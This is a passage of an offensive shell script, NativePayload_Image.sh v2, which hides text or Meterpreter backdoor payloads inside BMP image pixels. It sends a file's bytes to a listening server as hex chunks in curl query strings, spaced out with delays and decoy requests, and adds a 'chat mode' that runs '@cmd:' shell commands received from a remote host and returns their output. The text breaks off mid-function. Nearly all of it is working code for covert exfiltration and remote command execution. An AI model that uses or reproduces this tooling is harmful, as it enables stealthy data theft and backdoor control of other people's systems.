Script NativePayload_Image.sh

```
#!/bin/sh

echo
echo "NativePayload_Image.sh v2 , Published by Damon Mohammadbagher 2018"
echo "Injecting/Downloading/Uploading DATA via BMP Image Pixels by DNS or HTTP Traffic"
echo "DNS Traffic for this Version is not Available!"
echo "help syntax: ./NativePayload_Image.sh help"
echo

if [ $1 == "help" ];
then

        tput setaf 2;
        echo "Syntax 1: Injecting Text/Data/Payload to BMP files:"
        tput setaf 3;
        echo "Syntax 1-1: ./NativePayload_Image.sh -makebmp text \"your Text-message or Text-Data\""
        echo "Example1-1: ./NativePayload_Image.sh -makebmp text \"this is my first test ;)\""
        tput setaf 10;
        echo "Description: injecting \"Text/Data\" to BMP file \"test.bmp\""
        echo
        tput setaf 3;
        echo "Syntax 1-2: ./NativePayload_Image.sh -makebmp meterpreter \"Msfvenom Payload (Backdoor-Payload)\""
        echo "Example1-2: ./NativePayload_Image.sh -makebmp meterpreter \"fc48e4a804529ff0000e76ab12...\""
        tput setaf 10;
        echo "Description: injecting \"Meterpreter Payload\" to BMP file \"test.bmp\""
        tput setaf 2;
        echo ------------------------------------------------------------------
        tput setaf 2;
        echo "Syntax 2: Read/Exctracting Text/Data/Payload from BMP files:"
        tput setaf 3;
        echo "Syntax 2-1: ./NativePayload_Image.sh -readpay mybmpfile.bmp"
        tput setaf 10;
        echo "Description: Read/Exctracting \"Text/Data/Payload\" from BMP file \"mybmpfile.bmp\""
        echo
        tput setaf 3;
        echo "Syntax 2-2: ./NativePayload_Image.sh -readbmp mybmpfile.bmp"
        tput setaf 10;
        echo "Description: BMP bytes by Hexdump Tool"
        tput setaf 2;
        echo ------------------------------------------------------------------
        tput setaf 2;
        echo "Syntax 3: Data Exfiltration by Web Requests & BMP Files!"
        tput setaf 3;
        echo "Server-side Syntax 3-1: ./NativePayload_Image.sh -exfilwebserver listen-Port[8080]"
        echo "Server-side Example3-1: ./NativePayload_Image.sh -exfilwebserver 80"
        tput setaf 10;
        echo "Description: Running Exfiltration-WebServer (Listening/Monitoring Web Requests and log file)"
        echo
        tput setaf 3;
        echo "Client-side Syntax 3-2: ./NativePayload_Image.sh -sendhttp mybmpfile.bmp IPv4_for_ServerSide Server-Port[80] Delay[0.4]"
        echo "Client-side Example3-2: ./NativePayload_Image.sh -sendhttp mybmpfile.bmp 192.168.56.100 80 0.3"
        tput setaf 10;
        echo "Description: Sending Bmp File to IPv4-Server-side via Web Requests by Delay[x] (Exfiltration:HTTP Traffic only)"
        tput setaf 2;
        echo ------------------------------------------------------------------
        tput setaf 2;
        echo "Syntax 4: Extracting Injected Payloads from BMP Files by HTTP traffic!"
        tput setaf 3;
        echo "Server-side Syntax 4-1: ./NativePayload_Image.sh -webserver Port[8080]"
        echo "Server-side Example4-1: ./NativePayload_Image.sh -webserver 80"
        tput setaf 10;
        echo "Description: Running SimpleWebServer (Web-Service only)"
        echo
        tput setaf 3;
        echo "Client-side Syntax 4-2: ./NativePayload_Image.sh -gethttp IPv4_for_Server File.bmp Server-Port[80]"
        echo "Client-side Example4-2: ./NativePayload_Image.sh -gethttp 192.168.56.102 Dumped_via_http.test.bmp 80"
        tput setaf 10;
        echo "Description: Dump/Download BMP file from Web Server by “/GET” Request (Extracting Injected Payloads from BMP Files)"
        tput setaf 2;
        echo ------------------------------------------------------------------
        tput setaf 2;
        echo "Syntax 5:[Chat Mode],Send/Rec Text-Messages and Commands via BMP Files by HTTP Traffic!"
        tput setaf 3;
        echo "Server-side Syntax 5-1: ./NativePayload_Image.sh -chatserver L 80 Client-IPv4 R 80"
        echo "Server-side Example5-1: ./NativePayload_Image.sh -chatserver l 80 192.168.56.102 r 80"
        tput setaf 10;
        echo "Description: Server side, Server-IPv4::192.168.56.101"
        echo "Description: Send/Rec Text-Messages & Commands via BMP Files by HTTP Traffic!"
        echo
        tput setaf 3;
        echo "Client-side Syntax 5-2: ./NativePayload_Image.sh -chatclient L 80 Server-IPv4 R 80"
        echo "Client-side Example5-2: ./NativePayload_Image.sh -chatclient l 80 192.168.56.101 r 80"
        tput setaf 10;
        echo "Description: Client side, Client-IPv4::192.168.56.102"
        echo "Description: Send/Rec Text-Messages & Commands via BMP Files by HTTP Traffic!"
        echo
        tput setaf 2;
        echo "[Chat-Mode] Commands help: "
        echo -------------------------------------
        tput setaf 10;
        echo "command => @cmd:[Linux-Commands]"
        echo "example => [>]:Enter::Chat:input:#@cmd:uname -a"
        tput setaf 2;
        echo "Description: with \"@cmd:\" you can call/Execute linux commands on Remote system (Client/Server)"
        echo -------------------------------------
        tput setaf 10;
        echo "command => @base64on"
        echo "command => @base64off"
        echo "example => [>]:Enter::Chat:input:#@base64on"
        tput setaf 2;
        echo "Description: with this Command you can have Text-message/Payload injection by base64 encoding instead Clear-text."
        echo -------------------------------------
        tput setaf 10;
        echo "command => @msglist"
        echo "example => [>]:Enter::Chat:input:#@msglist"
        tput setaf 2;
        echo "Description: with this command you can see all Messages with detail information"
        echo -------------------------------------
        tput setaf 2;
        tput setaf 10;
        echo "command => @msgsave"
        echo "example => [>]:Enter::Chat:input:#@msgsave"
        tput setaf 2;
        echo "Description: with this command you can save all Messages with detail information to text file"
        echo -------------------------------------
        tput setaf 2;



fi

# ============================================make bmp====================================================

#  ./NativePayload_Image.sh -makebmp  text meterpreter "your DATA/Payload/Text"

# BMP header , (604 width * 2 height) pixel
# 424d5e0e00000000000036000000280000005c020000020000000100180000000000280e00000000000000000000000000000000000000


function makeheader() {
echo "" > ddlogs.log
echo $'\x42\x4d\x5e\x0e' > BMPheader_index0.bin
nohup dd if=BMPheader_index0.bin count=4 bs=1 seek=0 of=$1 conv=notrunc > ddlogs.log 2>&1 &

echo $'\x36' > BMPheader_index10.bin
nohup dd if=BMPheader_index10.bin count=1 bs=1 seek=10 of=$1 conv=notrunc  > ddlogs.log 2>&1 &

echo $'\x28' > BMPheader_index14.bin
nohup dd if=BMPheader_index14.bin count=1 bs=1 seek=14 of=$1 conv=notrunc  > ddlogs.log 2>&1 &

echo $'\x5c\x02' > BMPheader_index18.bin
nohup dd if=BMPheader_index18.bin count=2 bs=1 seek=18 of=$1 conv=notrunc  > ddlogs.log2 2>&1 &

echo $'\x02' > BMPheader_index22.bin
nohup dd if=BMPheader_index22.bin count=1 bs=1 seek=22 of=$1 conv=notrunc > ddlogs.log 2>&1 &

echo $'\x01' > BMPheader_index26.bin
nohup dd if=BMPheader_index26.bin count=1 bs=1 seek=26 of=$1 conv=notrunc  > ddlogs.log 2>&1 &

echo $'\x18' > BMPheader_index28.bin
nohup dd if=BMPheader_index28.bin count=1 bs=1 seek=28 of=$1 conv=notrunc  > ddlogs.log 2>&1 &

echo $'\x28\x0e' > BMPheader_index34.bin
nohup dd if=BMPheader_index34.bin count=2 bs=1 seek=34 of=$1 conv=notrunc  > ddlogs.log 2>&1 &

}

function DumpPixels()
{

#`wget -o log.txt "http://$4:$6/ChatviaPixels.bmp"`
#`wget -o log.txt "http://$1:$2/ChatviaPixels.bmp"`
`wget -o log.txt "http://$1:$2/$3"`

}

Time=`date '+%d/%m/%Y %H:%M:%S'`
mytext="Are you going to Scarborough Fair?"
tput setaf 2;
        if [ "$1" == $'-makebmp' ] ;
        then

        mytext=""
        echo "" > test.bmp
        tput setaf 10;

        mylength=0
        LengthPlusText=""


        if [[ "$2" == "meterpreter" ]];
        then
        echo "" > test.bmp
        tput setaf 10;
        head -c "5024" /dev/zero > "test.bmp"
        echo "[>]:BMP::test.bmp::[5024].null.bytes:Created "
        tput setaf 2;
        echo "[!]:BMP:Header.injection:Started "
        makeheader test.bmp
        mytext=$3
        mylength=`echo ${#mytext}`
        LengthPlusText=$mytext
        echo $"$LengthPlusText" | xxd -r -p > chat.bin
        nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=test.bmp conv=notrunc >> ddlogs.log 2>&1 &
        fi

        if [[ "$2" == "text" ]];
        then
        echo "" > test.bmp
        tput setaf 10;
        head -c "5024" /dev/zero > "test.bmp"
        echo "[>]:BMP::test.bmp::[5024].null.bytes:Created "
        tput setaf 2;
        echo "[!]:BMP:Header.injection:Started "
        makeheader test.bmp
        mytext=$3
        mylength=`echo ${#mytext}`
        LengthPlusText=-$mylength+$mytext
        echo $"$LengthPlusText" > chat.bin
        ((mylength++))
                ((mylength++))
                        ((mylength++))
                                ((mylength++))
        nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=test.bmp conv=notrunc >> ddlogs.log 2>&1 &
        fi


        tput setaf 10;
        h1=`cat BMPheader_index0.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[0]:injected:test.bmp"
        h1=`cat BMPheader_index10.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[10]:injected:test.bmp"
        h1=`cat BMPheader_index14.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[14]:injected:test.bmp"
        h1=`cat BMPheader_index18.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[18]:injected:test.bmp"
        h1=`cat BMPheader_index22.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[22]:injected:test.bmp"
        h1=`cat BMPheader_index26.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[26]:injected:test.bmp"
        h1=`cat BMPheader_index28.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[28]:injected:test.bmp"
        h1=`cat BMPheader_index34.bin | xxd -p`
        echo "[>]:BMP:header.bytes[""0x${h1::-2}""]:index[34]:injected:test.bmp"
        mylength=`echo ${#mytext}`
        tput setaf 2;
        echo "[!]:BMP:Payload.injection:Started "
        h1=`cat chat.bin | xxd -p`
        tput setaf 10;
        echo "[>]:BMP:Payload.bytes[""0x${h1::-2}""]:Index[54]:injected:test.bmp"
        text=`echo ${h1:8:-2} | xxd -r -p`
        tput setaf 2;
        echo "[!]:BMP:Payload.length.[4 + $mylength]:Created"
        echo "[!]:BMP::test.bmp::Payload.strings:Show "
        tput setaf 10;
        echo $text
        tput setaf 2;
        echo "[!]:BMP::test.bmp::Payload.bytes:Show "
        tput setaf 10;
        hexdump -C test.bmp
        Time=`date '+%d/%m/%Y %H:%M:%S'`
        tput setaf 2;
        echo "[!]:[$Time]:File \"test.bmp\" is ready ...."
        fi
# ===========================================make bmp===================================================

# ===========================================read bmp===================================================
#  ./NativePayload_Image.sh -readbmp test.bmp
if [ "$1" == $'-readbmp' ] ;
        then
        tput setaf 2;
        echo "[!] Reading file \"$2\" by hexdump Tool...."
        echo "[!] Note: your Payload started from index [30]:"
        tput setaf 6;
        hexdump -C "$2"
        fi
# ===========================================read bmp===================================================

# ===========================================read payload===============================================
#  ./NativePayload_Image.sh -readpay test.bmp
if [ "$1" == $'-readpay' ] ;
        then
        tput setaf 2;
        echo "[!] Reading file \"$2\" by hexdump Tool...."
        echo "[!] Note: your Payload started from index [30]:"
        tput setaf 6;
        myPaylength=`hexdump -C "$2" | grep "00000030" | cut -d'-' -f2 | cut -d'+' -f1`
        PayRAWtext=`strings $2 | cut -d'+' -f2`
        echo "[!] your Text/Payload with length [$myPaylength] is :" \"$PayRAWtext\"
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        echo " " > $2_ExfilOutput_$Timestr.txt
        echo "[>] your Text/Payload saved to \"$2_ExfilOutput_$Timestr.txt\" "
        echo $PayRAWtext > $2_ExfilOutput_$Timestr.txt
        fi
# ===========================================read payload===============================================


# ===========================================transferring by HTTP traffic (Webserver)===================
#  ./NativePayload_Image.sh -webserver 8000
if [ "$1" == $'-webserver' ] ;
        then
        python -m SimpleHTTPServer $2
        fi

# ===========================================transferring by HTTP traffic (Webserver)===================

# ===========================================transferring by HTTP traffic (Downloading)=================
#  ./NativePayload_Image.sh -gethttp 192.168.1.2 test.bmp 8000
if [ "$1" == $'-gethttp' ] ;
        then
        `wget -o log.txt "http://$2:$4/$3" `
        cat log.txt
        file=`cat log.txt | grep "Saving to" | cut -d':' -f2`

        tput setaf 2;
        echo "[!] Reading file \"${file:2:-1}\" by hexdump Tool...."
        echo "[!] Note: your Payload started from index [30]:"
        tput setaf 6;
        myPaylength=`hexdump -C ${file:2:-1} | grep "00000030" | cut -d'-' -f2 | cut -d'+' -f1`
        PayRAWtext=`strings ${file:2:-1} | cut -d'+' -f2`
        echo "[!] your Text/Payload with length [$myPaylength] is :" $PayRAWtext
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        echo " " > $2_ExfilOutput_$Timestr.txt
        echo "[>] your Text/Payload saved to \"$2_ExfilOutput_$Timestr.txt\" "
        echo $PayRAWtext > $2_ExfilOutput_$Timestr.txt
        fi

# ===========================================transferring by HTTP traffic (Downloading)=================

# ===========================================Exfiltration by HTTP traffic (DATA Sending)================
#  ./NativePayload_Image.sh -sendhttp test.bmp 192.168.1.2 8000 0.4
if [ "$1" == $'-sendhttp' ] ;
        then
        counter=1
        tput setaf 2;
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        echo "[!]:BMP:$2:Exfiltration::SendbyHttp:Delay:[$5:0.3:0.7]:Started [$Timestr]"
        tput setaf 10;
        for bytes in `cat $2 | xxd -p -c 10 | rev`;
        do
        if (( $counter >= 6 ));
        then
                if [[ "$bytes" != "00000000000000000000" ]];
                then
                        nohup curl http://$3:$4/default.aspx >> sendhttp.log 2>&1 &
                        sleep $5
                        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                        reverse=`echo $bytes | rev`
                        echo "[>]:BMP:Byte:["$reverse"]:index[$counter]::SendbyHttp::Web.Request:[default.aspx?uids=$bytes]"
                        nohup curl http://$3:$4/default.aspx?uids=$bytes >> sendhttp.log 2>&1 &
                        sleep 0.3
                        nohup curl  http://$3:$4/default.html >> sendhttp.log 2>&1 &
                        sleep 0.7
                fi
        fi

        if (( $counter <= 5 ));
        then
                nohup curl http://$3:$4/default.aspx >> sendhttp.log 2>&1 &
                sleep $5
                Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                reverse=`echo $bytes | rev`
                echo "[>]:BMP:Byte:["$reverse"]:index[$counter]::SendbyHttp::Web.Request:[default.aspx?uids=$bytes]"
                nohup curl http://$3:$4/default.aspx?uids=$bytes >> sendhttp.log 2>&1 &
                sleep 0.3
                nohup curl  http://$3:$4/default.html >> sendhttp.log 2>&1 &
                sleep 0.7
        fi

        ((counter++))
        done
        nohup curl http://$3:$4/default.aspx?logoff=null >> sendhttp.log 2>&1 &
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        tput setaf 2;
        echo "[!]:BMP:$2:Exfiltration::SendbyHttp:Delay:[$5:0.3:0.7]:Done [$Timestr]"
        sleep 0.2

        fi
# ============================================Exfiltration by HTTP traffic (DATA Sending)=================


# ============================================Exfiltration by HTTP traffic (DATA Receiving)===============
#  ./NativePayload_Image.sh -exfilwebserver 8000
if [ "$1" == $'-exfilwebserver' ] ;
        then

        echo "ops;)" > default.html
        echo "ops;D" > default.aspx

                pids=`ps -ef | grep "python -m SimpleHTTPServer" | awk {'print $2'}`
                for i in $pids ;
                do
                #echo $pids
                nohup kill $pids > pidskill.txt 2>&1 &
                done

        sleep 1
        nohup python -m SimpleHTTPServer $2 > SimpleHTTPServer.txt 2>&1 &
        tput setaf 10;
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        echo "[>]:[$Timestr]:Exfiltration listening Mode Started by SimpleHTTPServer!"
        filename="SimpleHTTPServer.txt"
        myrecords=""
        while true; do
                tput setaf 2;

                sleep 10
                fs2=$(stat -c%s "$filename")
                if [ "$fs" != "$fs2" ] ;
                then

                tput setaf 6;
                Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                echo "[!]:[$Timestr]:Webserver log File has changed!"
                echo "[!]:[$Timestr]:Checking Http Queries"
                fs=$(stat -c%s "$filename")
                fs2=$(stat -c%s "$filename")

                FinishFlag=`cat $filename | grep GET | awk {'print $7'} | cut -d'=' -f2 | grep -e "null"`


                if (( `echo ${#FinishFlag}` !=0 ));
                then
                break
                fi


                tput setaf 2;

                else
                fs=$(stat -c%s "$filename")
                fs2=$(stat -c%s "$filename")

                fi
        done

        Records=`cat $filename | grep GET | grep ".aspx?uids=" | awk {'print $7'} | cut -d'=' -f2`
        for ops1 in `echo $Records`;
        do
                if [[ "$ops1" != "null" ]];
                then
                myrecords+=`echo $ops1 | rev`
                fi
        done
        tput setaf 2;
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        echo "[!]:[$Timestr]:Dumping this DATA/Text via http Queries"
        tput setaf 2;
        echo "[!]:BMP::DumpedbyHttp::Payload.hex2raw:Show "
        tput setaf 10;
        echo $myrecords | hex2raw -r
        tput setaf 2;
        echo "[!]:BMP::DumpedbyHttp::Payload.bytes:Show "
        tput setaf 10;
        echo $myrecords | hex2raw -r | xxd -p -r
        DumpedBMP=`echo $myrecords | hex2raw -r | xxd -r -p | xxd -r -p`


        echo $"$DumpedBMP" > Dumped.bin
        tput setaf 2;
        echo "[!]:BMP::DumpedbyHttp::Payload.strings:Show "
        tput setaf 10;
        echo $DumpedBMP

                # Detecting Payload Types BMP or ....
                # \x42\x4d\x5e\x0e

                Detecting=`echo $DumpedBMP  | head -c 10 | grep "BM^"`

                # this code reserved! for next version
                if (( `echo ${#Detecting}` == 0 ));
                then
                tput setaf 2
                echo "[!]:CMD::DumpedbyHttp::Payload.strings.typeof:ShellCommands "
                echo "[!]:CMD::DumpedbyHttp::Payload.output:Show"
                tput setaf 10
                echo $DumpedBMP
                echo
                fi
                # this code reserved! for next version

                if (( `echo ${#Detecting}` !=0 ));
                then

                sleep 5

                ### Creating bmp file by header and payload which Downloaded via HTTP Traffic ###
                BMPFileBytes=`echo $myrecords | hex2raw -r | xxd -p -r`
                counter=0
                head -c "5024" /dev/zero > "Dumped_via_Http_test.bmp"
                echo "[>]:BMP::Dumped_via_Http_test.bmp::[5024].null.bytes:Created"
                #echo $BMPFileBytes
                tput setaf 2;
                echo "[!]:BMP::Dumped_via_Http_test.bmp::Payload.bytes.injection:Started"
                tput setaf 10;
                for BYTES in `echo $BMPFileBytes | xxd -p -c 2`;
                do
                if [[ "$BYTES" != "00000000000000000000" ]];
                then
                        mybyte=`echo $"$BYTES" | xxd -r -p`
                        showtime=7

                        if (( "$counter" <= "$showtime" ));
                        then
                        echo "[>]:BMP:Byte:["$mybyte"]:index[$counter]:injected:Dumped_via_Http_test.bmp"

                                if (( "$counter" == "$showtime" ));
                                then
                                printf
'\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573\u2573'
                                fi
                        else

                                x1=`echo $mybyte | tr -dc 'a-f'`
                                if (( `echo ${#x1}` == 1 ));
                                then
                                printf '\u2593'
                                elif (( `echo ${#x1}` == 2 ));
                                then
                                printf '\u2593\u2593'
                                fi
                                x2=`echo $mybyte | tr -dc '1-4'`
                                if (( `echo ${#x2}` == 1 ));
                                then
                                printf '\u2591'
                                elif (( `echo ${#x2}` == 2 ));
                                then
                                printf '\u2591\u2591'
                                fi
                                x3=`echo $mybyte | tr -dc '5-9'`
                                if (( `echo ${#x3}` == 1 ));
                                then
                                printf '\u2592'
                                elif (( `echo ${#x3}` == 2 ));
                                then
                                printf '\u2592\u2592'
                                fi
                                x4=`echo $mybyte | tr -dc '0'`
                                if (( `echo ${#x4}` == 1 ));
                                then
                                printf '\u2591'
                                elif (( `echo ${#x4}` == 2 ));
                                then
#                               printf '\u2587'
                                printf '\u2591\u2591'
                                fi
#                               printf "."
                        fi
                        echo $"$BYTES" | xxd -r -p | xxd -r -p > tempbytes.bin &
                        sleep 0.1
                        nohup dd if=tempbytes.bin count=1 bs=1 seek=$counter of=Dumped_via_Http_test.bmp conv=notrunc >>
tempbytes.log 2>&1 &
                sleep 0.1
                fi
                ((counter++))
                done
                echo
                sleep 2
                tput setaf 2;
                echo "[!]:BMP::Dumped_via_Http_test.bmp::Payload.bytes:Injected "
                echo "[!]:BMP::Dumped_via_Http_test.bmp::Payload.bytes:Show "
                tput setaf 10
                hexdump -C Dumped_via_Http_test.bmp
                echo
                Time=`date '+%d/%m/%Y %H:%M:%S'`
                tput setaf 2;
                echo "[!]:[$Time]:File \"Dumped_via_Http_test.bmp\" is ready ...."
                echo
                ### Creating bmp file by header and payload which Downloaded via HTTP Traffic ###

                pids=`ps -ef | grep "python -m SimpleHTTPServer" | awk {'print $2'}`
                for i in $pids ;
                do
                #echo $pids
                nohup kill $pids > pidskill.txt 2>&1 &
                done

                fi

        pids=`ps -ef | grep "python -m SimpleHTTPServer" | awk {'print $2'}`
        for i in $pids ;
        do
        #echo $pids
        nohup kill $pids > pidskill.txt 2>&1 &
        done

        fi



# ============================================Exfiltration by HTTP traffic (DATA Receiving)===============
# ==========================================transferring by HTTP traffic (chat via BMP files)===========
# NativePayload_Image version 2.0
# ==========================================transferring by HTTP traffic (chat via BMP files)===========
#  ./NativePayload_Image.sh -chatserver l 80  192.168.56.101  r 80
if [ "$1" == $'-chatserver' ] ;
then
        echo "ops;)" > default.html
        echo "ops;D" > default.aspx

                pids=`ps -ef | grep "python -m SimpleHTTPServer" | awk {'print $2'}`
                for i in $pids ;
                do
                nohup kill $pids > pidskill.txt 2>&1 &
                done

        sleep 1
        nohup python -m SimpleHTTPServer $3 > SimpleHTTPServerChat.txt 2>&1 &
        tput setaf 10;
        Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
        echo "[>]:[$Timestr]:Chat Mode Started by SimpleHTTPServer on Port [$3]!"
        tput setaf 2;
        echo "[!]:ChatMode::SendbyBMPviaHTTP::Remote.host.address.[$4:$6].async:Connected"
        filename="SimpleHTTPServerChat.txt"
        myrecords=""
        ChatInputArray=()
        base64isonoff="false"
        isb64="false"
        iscmdshellonoff="off"
        while [ "$input" != "exit" ]
        do
                if [ "$iscmdshellonoff" == "off" ] ;
                then
                read -p "[>]:Enter::Chat:input:#" input
                fi

                if [ "$input" == "exit" ] ;
                then
                break
                fi
                if [ "$input" == "@base64off" ] ;
                then
                tput setaf 10
                echo "[@]:ChatMode::SendbyBMPviaHTTP::BMP.payload.requests.base64:Off"
                tput setaf 2
                isb64="false"
                read -p "[>]:Enter::Chat:input:#" input
                fi
                if [ "$input" == "@base64on" ] ;
                then
                tput setaf 10
                echo "[@]:ChatMode::SendbyBMPviaHTTP::BMP.payload.requests.base64:On"
                tput setaf 2
                isb64="true"
                read -p "[>]:Enter::Chat:input:#" input
                fi
                if [ "$input" == "@msgsave" ] ;
                then
                        Time=`date '+%d-%m-%Y.%H-%M-%S'`
                        echo "[@]:ChatMode::SendbyBMPviaHTTP::Remote.host.address.[$4:$6].async:Connected" >>
Messages_$Time.txt
                        for index in ${!ChatInputArray[*]}
                        do
                        echo "$index ${ChatInputArray[$index]}" >> Messages_$Time.txt
                        done
                        echo "[@]:Messages.Saved:[Messages_$Time.txt]"
                        read -p "[>]:Enter::Chat:input:#" input
                fi
                if [ "$input" == "@msglist" ] ;
                then
                tput setaf 10
                echo "[@]:Messages.list:Show"
                printf '%s' "[@]:ChatMode::SendbyBMPviaHTTP::Remote.host.address.[$4:$6].async:Connected"
                echo "$(tput setab 4)"
                for index in ${!ChatInputArray[*]}
                do
                echo "$(tput setab 4)" $index ${ChatInputArray[$index]}
                done
                echo "$(tput setab 0)"
                echo
                tput setaf 2
                read -p "[>]:Enter::Chat:input:#" input
                fi
                if [ "$iscmdshellonoff" == "off" ] ;
                then

                Timestr=`date '+%d-%m-%Y.%H-%M-%S'`
                ChatInputArray+=("$Timestr --Send--> Message:[$input]")

                #### injecting Text/Chat to BMP file (ChatviaPixels.bmp) ####
                head -c "5024" /dev/zero > "ChatviaPixels.bmp"
                tput setaf 10;
                echo "[>]:BMP::ChatviaPixels.bmp::[5024].null.bytes:Created"
                makeheader ChatviaPixels.bmp
#               mytext=`echo $input`
                        if [ "$isb64" == "true" ] ;
                        then
                        mytext=`echo $input | base64 | xxd -p`
                        fi
                        if [ "$isb64" == "false" ] ;
                        then
                        mytext=`echo $input`
                        fi
                mylength=`echo ${#mytext}`
                LengthPlusText=-$mylength+$mytext
                echo $"$LengthPlusText" > chat.bin
                ((mylength++))
                ((mylength++))
                ((mylength++))
                ((mylength++))
                nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=ChatviaPixels.bmp conv=notrunc > chatddlogs.log 2>&1 &

                tput setaf 10;

                mylength=`echo ${#mytext}`
                tput setaf 2;
                echo "[!]:BMP:Payload.injection:Started "
                h1=`cat chat.bin | xxd -p`
                tput setaf 10;
                echo "[>]:BMP:Payload.bytes[""0x${h1::-2}""]:Index[54]:injected:ChatviaPixels.bmp"
                # text=`echo ${h1:8:-2} | xxd -r -p`

                Time=`date '+%d/%m/%Y %H:%M:%S'`
                tput setaf 2;
                echo "[!]:[$Time]:File \"ChatviaPixels.bmp\" is ready ...."
                #### injecting Text/Chat to BMP file (ChatviaPixels.bmp) ####

                #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####
                Time=`date '+%d/%m/%Y %H:%M:%S'`
                echo "$Time" > Activity.txt

                        if [ "$isb64" == "true" ] ;
                        then
                        nohup curl http://$4:$6/default.aspx?uids=chatoff.bt > chatoffsendhttp.log 2>&1 &
                        fi
                        if [ "$isb64" == "false" ] ;
                        then
                        nohup curl http://$4:$6/default.aspx?uids=chatoff.bf > chatoffsendhttp.log 2>&1 &
                        fi

                #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####

                fi
        #### Checking Web Requests by log file ####
        while true;
        do
                tput setaf 2;

                sleep 10
                fs2=$(stat -c%s "$filename")
                if [ "$fs" != "$fs2" ] ;
                then

                tput setaf 6;
                Timestr=`date '+%d-%m-%Y.%H-%M-%S'`

                echo "[!]:[$Timestr]:Waiting for Chat Messages (Detecting Text by BMP Pixels)!"
                fs=$(stat -c%s "$filename")
                fs2=$(stat -c%s "$filename")

                FinishFlag=`strings $filename | grep $4 | grep GET | awk {'print $7'} | cut -d'=' -f2 | grep "chatoff.bt"`

                if (( `echo ${#FinishFlag}` !=0 ));
                then
                base64isonoff="true"
                break
                fi
                FinishFlag=`strings $filename | grep $4 | grep GET | awk {'print $7'} | cut -d'=' -f2 | grep "chatoff.bf"`

                if (( `echo ${#FinishFlag}` !=0 ));
                then
                base64isonoff="false"
                break
                fi

                tput setaf 2;

                else
                fs=$(stat -c%s "$filename")
                fs2=$(stat -c%s "$filename")

                fi
        done


        DumpPixels $4 $6 "ChatviaPixelsII.bmp"
        if [[ "$7" == "showall" ]];
        then
        cat log.txt
        fi
        file=`cat log.txt | grep "Saving to" | cut -d':' -f2`

        tput setaf 2;
        echo "[!]:Reading file \"${file:2:-1}\" by hexdump Tool...."
        echo "[!]:Note: your Payload started from index [30]:"
        tput setaf 6;
        myPaylength=`hexdump -C ${file:2:-1} | grep "00000030" | cut -d'-' -f2 | cut -d'+' -f1`
        PayRAWtext=`strings ${file:2:-1} | cut -d'+' -f2`

                if [ "$base64isonoff" == "true" ];
                then
                        decode=`echo $PayRAWtext | xxd -r -p | base64 -d`

                                        #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixels.bmp) ####
                                        DetectingCMDinDecode=`echo $decode | fold -w5 | head -c 5`
                                        if [ "$DetectingCMDinDecode" == "@cmd:" ];
                                        then
                                        iscmdshellonoff="on"
                                        mycmds=`echo $decode | cut -d':' -f2 `
                                        tput setaf 3;
                                        echo "[!]:BMP::CMD.ShellCommands.[$mycmds]:Detected"
                                        CMDResultoutput=`$mycmds`
                                        sleep 0.2
                                        echo "[!]:BMP::CMD.ShellCommands.output:Created"
                                        head -c "5024" /dev/zero > "ChatviaPixels.bmp"
                                        tput setaf 10;
                                        echo "[>]:BMP::ChatviaPixels.bmp::[5024].null.bytes:Created"
                                        makeheader ChatviaPixels.bmp
                                        if [ "$isb64" == "true" ] ;
                                        then
                                        mytextv1=`echo $CMDResultoutput | base64 | xxd -p`
                                        fi
                                        if [ "$isb64" == "false" ] ;
                                        then
                                        mytextv1=`echo $CMDResultoutput`
                                        fi
                                        mylength=`echo ${#mytextv1}`
                                        LengthPlusTextv1=-$mylength+$mytextv1
                                        echo $"$LengthPlusTextv1" > chat.bin
                                        ((mylength++))
                                        ((mylength++))
                                        ((mylength++))
                                        ((mylength++))
                                        nohup dd if=chat.bin count=$mylength bs=1 seek=54 of=ChatviaPixels.bmp conv=notrunc >
chatddlogs.log 2>&1 &

                                        tput setaf 10;

                                        mylength=`echo ${#mytextv1}`
                                        tput setaf 2;
                                        echo "[!]:BMP:Payload.injection:Started "
                                        h1=`cat chat.bin | xxd -p`
                                        tput setaf 10;
                                        echo "[>]:BMP:Payload.bytes[""0x${h1::-2}""]:Index[54]:injected:ChatviaPixels.bmp"

                                        Time=`date '+%d/%m/%Y %H:%M:%S'`
                                        tput setaf 2;
                                        echo "[!]:[$Time]:File \"ChatviaPixels.bmp\" is ready ...."
                                        #### injecting Command-Text to BMP file (ChatviaPixels.bmp) ####
                                        #### making signal to download Text/Chat via BMP file (ChatviaPixels.bmp) ####

                                        Time=`date '+%d/%m/%Y %H:%M:%S'`
                                        echo "$Time" > Activity.txt

                                                if [ "$isb64" == "true" ] ;
                                                then
                                                nohup curl http://$4:$6/default.aspx?uids=chatoff.bt > chatoffsendhttp.log 2>&1
&
                                                fi
                                                if [ "$isb64" == "false" ] ;
                                                then
                                                nohup curl http://$4:$6/default.aspx?uids=chatoff.bf > chatoffsendhttp.log 2>&1
&
                                                fi
                                        fi
                                        #### injecting Result-Text/Output:Commands to BMP file (ChatviaPixels.bmp) ####

                        if [ "$DetectingCMDinDecode" != "@cmd:" ];
                        then
                        iscmdshellonoff="off"
                        tput setaf 3;
